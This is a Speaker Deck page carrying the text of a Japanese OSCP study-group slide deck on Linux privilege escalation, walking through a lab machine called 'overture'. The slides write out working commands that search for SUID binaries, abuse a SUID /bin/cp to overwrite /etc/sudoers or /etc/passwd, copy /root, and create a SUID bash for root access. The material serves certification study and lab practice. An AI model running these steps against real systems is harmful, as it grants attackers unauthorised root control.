Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
Linuxでの権限昇格 / Privilege Escalation in Linux
Search
tkito
March 24, 2023
Technology
0
540
Linuxでの権限昇格 / Privilege Escalation in Linux
2023/03/24に開催されたOSCP勉強会のLT資料(軽量版)です。
https://off-sec-lab.connpass.com/event/276425/
tkito
March 24, 2023
Tweet
Share
More Decks by tkito
See All by tkito
Boot2Rootをやろう / Let's play Boot2Root
tkito
0
650
Re: SQLiから始めるRCE生活 / RCE via SQLi
tkito
0
230
権限昇格がんばるぞい LinPEAS編 / Privilege escalation using LinPEAS
tkito
1
2k
SOC-IRとOSCP / SOC-IR and OSCP
tkito
0
90
Other Decks in Technology
See All in Technology
巨大企業でDX革新を起こすということ BTCONJP 2024
yamaken66
0
200
WSUSが非推奨に!? Windowsの更新管理を改めて勉強する!
ebibibi
0
560
Deep dive into Nuxt Server Components
wattanx
1
630
新入社員 オンボーディング改善プロジェクト - シンプルな仕組みで変革のきっかけを
enpipi
0
430
The road to green code (with Sonar)
bluehats
0
150
なぜ Rack を理解すべきかプレトーク / Why should you understand Rack - Pre-talk
hogelog
0
220
MobileActOsaka_241018.pdf
akaitadaaki
0
100
管理画面とユーザー機能の調和を取り戻す!~クエリパフォーマンス改善の成功物語~ / Restore harmony between administrative and user functions!
minisera
1
250
Unlearn Modularity
lemiorhan
6
290
俺とVSCode Python Debugger Extension
sat
PRO
1
140
20241015 Toranomon Tech Hub#1 Service Catalog使ってみた
hiashisan
0
220
生成AI入門
shukob
0
140
Featured
See All Featured
Building a Modern Day E-commerce SEO Strategy
aleyda
38
6.9k
How to train your dragon (web standard)
notwaldorf
87
5.6k
Imperfection Machines: The Place of Print at Facebook
scottboms
264
13k
GraphQLとの向き合い方2022年版
quramy
43
13k
[Rails World 2023 - Day 1 Closing Keynote] - The Magic of Rails
eileencodes
31
1.7k
The Power of CSS Pseudo Elements
geoffreycrofte
71
5.3k
Mobile First: as difficult as doing things right
swwweet
222
8.9k
How to Think Like a Performance Engineer
csswizardry
18
1k
Why You Should Never Use an ORM
jnunemaker
PRO
53
9k
StorybookのUI Testing Handbookを読んだ
zakiyama
26
5.2k
Bash Introduction
62gerente
608
210k
Agile that works and the tools we love
rasmusluckow
327
21k
Transcript
Linuxでの権限昇格 2023/03/24 OSCP勉強会 きとう
自己紹介 なまえ • きとう、てきとう、tkito • Twitter: @tkito しゅみ • ゲームしたり海に潜ったり徳を積んだり
2 おしごと • 企業でSOCの中の人とかIRとか Linuxでの権限昇格
おことわり Linuxでの権限昇格 3 OSCP(PEN-200)勉強中の者が学んだ内容を 発表するものです どうかマサカリはおしまいください でも間違いがあったら教えてください
権限昇格 非特権ユーザーから特権ユーザーになること • 非特権ユーザー • 一般ユーザーのこと • 特権ユーザー • 一般ユーザーができないことをできる高い権限を持ったユーザー
• Linuxだとroot • WindowsだとAdministratorとかSYSTEM • 今回はLinuxでのお話 Linuxでの権限昇格 4
offsec-1-overtureにおける権限昇格 root権限のユーザを追加 Linuxでの権限昇格 5 /bin/cpに SUIDビット SUIDの立った プログラムの探索 /bin/cpで /etc/passwdを上書き
root権限を持った ユーザを追加した passwdを用意 追加した ユーザでログイン 昇格!
offsec-1-overtureにおける権限昇格 むずかしくない…? Linuxでの権限昇格 6 /bin/cpに SUIDビット SUIDの立った プログラムの探索 /bin/cpで /etc/passwdを上書き
root権限を持った ユーザを追加した passwdを用意 追加した ユーザでログイン 昇格! • ここすごい閃きだと思う • /bin/cpじゃなくて別のだったら? パターン整理していくと何か知見が 得られるかも!?
権限昇格に使われる手法の整理 権限昇格までの手順をパーツに分けてパターンを整理してみる(WIP) Linuxでの権限昇格 7 ここに至るパスを 考えていけばいい
Linuxでの権限昇格 8 ①/bin/cpにSUID ②ファイル書込可 ③/etc/passwdに追加 ④ログイン ⑤昇格完了
offsec-1-overture 別解 攻略の流れ • find / -type f -perm –u=s
2>/dev/null SUIDビットの立ったプログラムを探索 /bin/cpを確認 • cp /etc/sudoers /tmp/ /etc/sudoersをコピー • cat /tmp/sudoers > /tmp/sudoers2 編集のために自分をownerに • echo “apache ALL=NOPASSWD:ALL” >> /tmp/sudoers2 Pass無しでsudoできる魔法の言葉 • cp /tmp/sudoers2 /etc/sudoers /etc/sudoersに書き戻し • sudo su – sudoでrootに • cat /root/flag.txt フラグゲット Linuxでの権限昇格 9
Linuxでの権限昇格 10
offsec-1-overture 別解(邪道) 攻略の流れ • find / -type f -perm –u=s
2>/dev/null SUIDビットの立ったプログラムを探索 /bin/cpを確認 • cp -rv /root /tmp/ /rootをごっそりコピー • cat /tmp/root/flag.txt フラグゲット • CTFならいいけどOSCPではダメ Linuxでの権限昇格 11
おまけ SUIDを使って直接root権限を得る方法(overtureの攻略には使えない) • [*rootで*] • cp /bin/bash /tmp/bash bashをコピーして •
chmod u+s /tmp/bash SUIDを立てる • [*non-rootで*] • /tmp/bash -p euid(effective uid)が0になりrootと同じ権限を得る • でもrootでコマンド実行させられる状況ならreverse shell使った方がいい気が… Linuxでの権限昇格 12
まとめ • 権限昇格へのパスを一発で思いつける人すごいな! • Linuxでの権限昇格までの手順をパーツに分けて整理してみた(WIP) • 取り掛かりポイントが見つかったら権限昇格に向かって辿っていくとパスが出る • overtureの別解紹介 •
パターン拡充していこう • Windowsでもやってみようか • みなさんのやり方とか工夫とか教えてください Linuxでの権限昇格 13
おしまい きとう @tkito 14